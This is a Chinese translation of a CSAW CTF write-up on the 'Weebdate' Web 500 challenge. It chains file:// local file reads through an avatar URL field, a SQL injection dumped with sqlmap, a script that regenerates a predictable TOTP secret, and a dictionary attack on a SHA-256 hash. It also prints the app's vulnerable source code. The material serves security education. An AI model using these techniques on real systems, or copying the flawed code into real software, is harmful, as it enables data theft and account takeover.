在上周我有幸参加了CSAW CTF比赛,最终我的团队获得了参加决赛的资格。在我们挑战的所有题目中,其中Web类500分的题是我见过的最有趣的,也是最符合真实环境的题目。接下来我就来讲讲我们是如何拿到这道题的旗子的。

面临的挑战

Web 500应用被称为"Weebdate",是一个被称为“superior security in the wake of the Ashley Madison hack”的模拟数据站点,该应用采用Time-based One-time Password (TOTP)[基于时间的一次性密码]算法,作为所有账户身份验证的第二个因素,简单点说也就是意味着用户登录需要提供用户名,密码,以及TOTP算法获取的值。该题的目标是绕过TOTP验证码以及唐纳德·特朗普(美国地产大亨)的Weebdate账户密码。

本地文件包含

我们注册一个账户之后,找到“编辑个人资料”页面

http://54.210.118.179/profile/edit

个人资料编辑页面运行用户编辑个性签名以及头像,个性签名这个功能中没啥特别有趣的东西,接着我们将目光移向了头像编辑上。

如上图所示,个人头像区域支持URL。经过测试,我们确定了头像区域的URL会经过Python urllib.urlopen函数进行处理,检测这个文件确实是一张图片,并将头像区域的URL设置为已经检测过的图像文件地址。填写一个有效的图片地址所返回的HTML响应:

这个函数最有趣的地方是在检索到的文件不是一张图片,如下图所示:

我们将包含"Hello there!"句子的文件放入个人Web服务器上,然后将文件URL传递给应用程序。这样就有了上面大家看到的响应,这表明当检索到的文件不是一张图片时,文件的内容将会反映到html响应中。

这样看起来好像我们与目标进了一步,Python的 urllib.urlopen函数支持"file" scheme。我们尝试从搭载应用程序的服务器上检索/etc/hosts文件,从应用程序的头中披露的信息表明其服务器使用的是Ubuntu系统。

我们将下面的URL地址作为头像地址传递给应用程序

file://localhost/etc/hosts

下面截图显示了部分HTML响应结果

Great success!果真,将file:// URLs传递到个人头像编辑函数,允许我们从服务器上读取文件。我们再来看看应用程序的头文件,我们确定了应用程序运行了Apache。

由于服务器运行Apache,我们进而想到了抓取Apache站点配置文件。幸运女神十分眷顾我们,应用程序运行的是低于"000-default.conf"配置的标准

我们将下面的地址传递给个人头像URL中:

file://localhost/etc/apache2/sites-enabled/000-default.conf

服务器爆出了Apache站点配置文件内容,在配置文件中有一个引用传递给下面路径:

/var/www/application.wsgi

我们检索这个文件的内容,如下所示:

该文件包含了将/var/www/weeb首次添加到内部$PATH list的Python代码,然后从名为"server"的模块调用名为"app"的变量。这表明server模块有可能就存在于/var/www/weeb,如果真是这样那么很有可能就有一个名为server.py的文件。接着通过下面URL尝试检索文件:

file://localhost/var/www/weeb/server.py

ok,我们终于能够一睹搭建Weebdate网站的源代码,server.py文件的开头如下:

from flask import Flask, render_template, request, Response, redirect
from flask.ext.mysqldb import MySQL
from functools 
import wrapsimport os, pwd, grp, random, struct, time, pyotp, urllib2, urlparse, imghdr, sy
import util
sys.path.insert(0, '/home/csaw/development/weeb')

import logging, sy
logging.basicConfig(stream=sys.stderr)
app = Flask(__name__)
app.config.from_object('settings')
mysql = MySQL()
mysql.init_app(app)
utils.mysql = mysql

如上所示server.py文件调用"utils",另一个传递给/var/www/weeb/utils.py文件的请求返回了更多有关服务器的代码,开头如下所示:

# I apologize to any future developers and anyone else who may have to read this code
# :(
import time, struct, random, socket, hashlib, pyotp, hmac
def FetchOneAssoc(cursor):    
    data = cursor.fetchone()    
    if data == None:        
        return None    
    desc = cursor.description    
    res = {}    
    for (name, value) in zip(desc, data):        
        res[name[0]] = value    
    return res

此外,我们还需要获取唐纳德·特朗普的TOTP密钥,以及账户密码。再次回顾代码,我们从负责生成TOTP密钥的utils.py 和server.py中发现了以下函数:

@app.route('/register', methods=['GET', 'POST'])
def show_registration():    
    user = utils.get_user_from_cookie(request)    
    page_name = "register"    
    
    if request.method.lower() == "get":        
        page_content = render_template('register.html')        
        return render_page(page_content, 'register', user=user)    
        
    if request.method.lower() == "post":        
        username = request.form.get('username') or ''        
        password = request.form.get('password') or ''        
        if not username or not password :            
            page_content = render_template('register.html', message="Missing field")                    return render_page(page_content, page_name)
                    
        if utils.check_username(username):            
            page_content = render_template('register.html', message="That username is taken!")           return render_page(page_content, page_name)        
            
        seed = utils.generate_seed(username, request.remote_addr)        
        totp_key = utils.get_totp_key(seed)        
        utils.register_user(username, password, request.remote_addr)        
        qr_url = "http://api.qrserver.com/v1/create-qr-code/?data=otpauth://totp/%s?secret=%s&size=220x220&margin=0"%(username, totp_key)        
        page_content = render_template(            
            'register.html',            
            message='Success! <a href="/login">login here</a><br />TOTP Key: %s<br /><img src="%s" />' % (totp_key, qr_url)        
                  )        
                  return render_page(page_content, page_name)
def generate_seed(username, ip_address):    
return int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]

def get_totp_key(seed):    
    random.seed(seed)    
    return pyotp.random_base32(16, random)

下面的函数负责在应用程序数据库创建用户记录:

def register_user(username, password, ip_address):    
    password = hashlib.sha256(username+password).hexdigest()    
    cursor = mysql.connection.cursor()    
    cursor.execute(        
        'insert into users (user_name, user_password, user_ip) VALUES (%s, %s, %s)',        
        (username, password, ip_address)    
    )    
    mysql.connection.commit()

纵观上面的种种,显然我们需要获取唐纳德·特朗普注册时的IP地址来生成它的TOTP密钥,并把他的密码存储在应用程序的数据库中,我们只有想另外的方法搞定数据库了….

SQL注入

从server.py中获取到下面代码:

@app.route('/csp/view/')
def csp_view(report_id):    
    return Response(repr(utils.get_csp_report(report_id)), mimetype='text/json')

从utils.py文件中我们发现utils.get_csp_report函数:

def get_csp_report(report_id):    
    cursor = mysql.connection.cursor()    
    cursor.execute(        
        'select * from reports where report_id = %s'%        
        (report_id,)    
    )    
    return FetchOneAssoc(cursor)

将两者联系起来,很明显/csp/view/<repord_id>端点存在SQL注入。

使用sqlmap从weeb数据库列出user表中的内容,通过下面命令:

sqlmap -u "http://54.210.118.179/profile/edit" --dump -D weeb -T users

果然,唐纳德·特朗普的账号在表中就排第一。

现在我们就需要生成TOTP密钥了,并破解其密码hash

生成TOTP密钥

就像之前我们说到的,生成TOTP密钥需要用户名以及注册IP地址。

因为我们已经获得生成TOTP密钥的两类信息,接下来我就基于从server.py和utils.py文件发现的代码,写了一个Python脚本来生成TOTP密钥。

import struct
import socket
import pyotp
import random

ip_address = "64.124.192.210"
username = "donaldtrump"

seed = int(struct.unpack("I", socket.inet_aton(ip_address))[0]) + struct.unpack("I", username[:4].ljust(4,"0"))[0]
random.seed(seed)
print(pyotp.random_base32(16, random))

运行脚本后的结果如下:

此处应该可以有掌声和尖叫声,现在只剩下破解密码hash

密码破解

从上面的register_user函数中我们可以看到使用账户和密码生成的密码hash存储在应用程序数据库

password = hashlib.sha256(username+password).hexdigest()

现有的彩虹表,对我们现在这种情况帮助不大。我使用最常见的10k密码字典来爆破唐纳德·特朗普的密码hash

import hashlib
file_path = "/Users/lavalamp/Documents/Hacking Lists/Passwords/10k most common.txt"
to_match = "22e59a7a2792b25684a43d5f5229b2b5caf7abf8fa9f186249f35cae53387fa3"
username = "donaldtrump"

with open(file_path, "r") as f:    
    contents = f.read()
c_split = [x.strip() for x in contents.split("\n")]

for line in c_split:    
    result = hashlib.sha256(username + line).hexdigest()    
    if result == to_match:        
        print("Found his password: %s!" % (line,))

脚本运行结果:

尖叫吧!

最后的整理

在CSAW比赛官网中对flag的描述如下:

md5($TOTPsecret.$zebra)

这是一个PHP代码片段,将本地PHP脚本进行整理,然后执行:

<?php echo md5("6OIMTPLHSQ6JUKYPzebra"); ?>

代码运行结果如下:

ok,这是一个有效的flag值。我们团队成功获得500分,瞬间提高了我们的排名。

最后希望你能够喜欢这篇Writeup

* 参考来源:avala编译/鸢尾,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)

源链接

Hacking more

...